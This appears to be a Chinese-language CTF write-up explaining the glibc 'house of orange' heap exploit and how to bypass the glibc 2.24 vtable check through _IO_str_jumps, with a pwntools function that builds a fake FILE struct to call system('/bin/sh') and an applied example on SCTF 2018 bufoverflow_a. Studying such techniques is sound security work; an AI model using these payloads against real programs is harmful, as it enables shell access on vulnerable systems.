house of orang 基本原理:
覆盖unsorted bin空闲块,修改其大小为0x61(small bin [4]),修改bk指向 _IO_list_all
-0x10,同时布置fake file struct,然后分配堆块,触发unsorted bin attack 修改 _IO_list_all
,将修改过的unsorted bin 放入 small bin 4中,继续遍历unsorted bin会触发异常,调用 malloc_printerr
,该函数调用栈如下:
1 | malloc_printerr |
如果能够伪造 _IO_OVERFLOW
函数,便可以get shell。
在调用_IO_OVERFLOW
之前,会做一些检查
1 | 0841 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |
要绕过这些检查,可以伪造:
fp->_mode = 0
fp->_IO_write_ptr
<fp->_IO_write_base
fp->_IO_read_ptr = 0x61
, smallbin4 + 8 (smallbin size)fp->_IO_read_base
=_IO_list_all - 0x10
, smallbin -> bk, unsorted bin attack
Glib 2.23 之前可以伪造vtable
, 使得_IO_OVERFLOW
= system
,将fp指向的内容开始的字符串布置为 “sh”即可。
GLIBC 2.24引入的新机制
2.24开始引入vtable
的检测函数—— IO_validate_vtable
,该函数定义如下:
1 | static inline const struct _IO_jump_t * |
vtable必须要满足 在 __stop___IO_vtables
和 __start___libc_IO_vtables
之间,而我们伪造的vtable通常不满足这个条件,但是可以找到 __IO_str_jumps
和 __IO_wstr_jumps
进行绕过,二者均符合条件。其中,利用 __IO_str_jumps
绕过更简单。
1 | pwndbg> p __start___libc_IO_vtables |
利用__IO_str_jumps
绕过
__IO_str_jumps
结构如下:
1 | const struct _IO_jump_t _IO_str_jumps libio_vtable = |
其中_IO_str_finsh
和 _IO_str_overflow
可以拿来利用,相对来说,函数_IO_str_finish
的绕过和利用条件更简单直接,该函数定义如下:
1 | void |
满足以下条件便可以达到目的:
fp->_mode = 0
fp->_IO_write_ptr
<fp->_IO_write_base
fp->_IO_read_ptr = 0x61
, smallbin4 + 8 (smallbin size)fp->_IO_read_base
=_IO_list_all -0x10
, smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp
的条件)vtable
=_IO_str_jumps - 8
,这样调用_IO_overflow
时会调用到_IO_str_finish
fp->_flags= 0
fp->_IO_buf_base
=binsh_addr
fp+0xe8
=system_addr
定义构造file_struct的函数如下:
1 | def pack_file(_flags = 0, |
基于这个函数,我们就可以很方便的对上述条件进行封装:1
2
3
4
5
6
7
8
9
10
11
12
13def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8)
payload += p64(0) # paddding
payload += p64(system_addr)
return payload
我们在构造payload时,只需要提供_IO_str_jumps
,_IO_list_all
,system
,/bin/sh
的地址即可。
如何定位_IO_str_jumps
由于·_IO_str_jumps
不是导出符号,因此无法直接利用pwntools的libc.sym["_IO_str_jumps"]
直接进行定位,我们可以转换一下思路,利用 _IO_str_jumps
表中的导出函数,例如 _IO_str_underflow
进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow
函数地址的内存地址,如下所示:
1 | pwndbg> p _IO_str_underflow |
再利用 _IO_str_jumps
的地址大于 _IO_file_jumps
地址的条件,就可以锁定最后一个地址为符合条件的 _IO_str_jumps
的地址,由于 _IO_str_underflow
在_IO_str_jumps
的偏移为0x20,我们可以计算出_IO_str_jumps
= 0x7f4d4d2245c0,再减掉libc的基地址,就可以得到_IO_str_jumps
的正确偏移。
当然也可以用IDA Pro分析libc.so,查找_IO_file_jumps
后的jump表即可。
此外,介绍一种直接利用pwntools得到_IO_str_jumps
偏移的方法,思想与采用动态调试分析的方法类似,直接放代码:
1 | IO_file_jumps_offset = libc.sym['_IO_file_jumps'] |
实战
以 SCTF 2018 bufoverflow_a 为例,来说明如何利用 _IO_str_jumps
来get shell
程序存在一个leak的洞和一个 offset by one null byte的漏洞,
利用leak可以泄露libc的地址,利用offset by one null byte 可以构造 chunk overlap,从而可以修改unsorted bin,实施 house of orange 攻击。
poc 见 De1ta’s poc,它利用了__IO_str_jumps
的 _IO_str_overflow
函数,将 fp+0xe0 修改为 one_gadget 地址。
其他绕过vtable check的方法
绕过glibc 2.24 vtable check的方法不只有house of orange,我们可以利用 unsorted bin attack 去改写file结构体中的某些成员,比如_IO_2_1_stdin_
中的 _IO_buf_end
,这样在 _IO_buf_base
和_IO_buf_end
(main_arena+0x58
) 存在 __malloc_hook
,可以利用scanf函数读取数据填充到该区域,注意不要破坏已有数据。
scanf读取的payload如下:
1 | def get_stdin_lock_offset(self): |
详细的利用方法见 SCTF 2018 bufoverflow_a 的官方wp 。
以上绕过 glibc 2.24 vtable check的方法同样适用于2.23。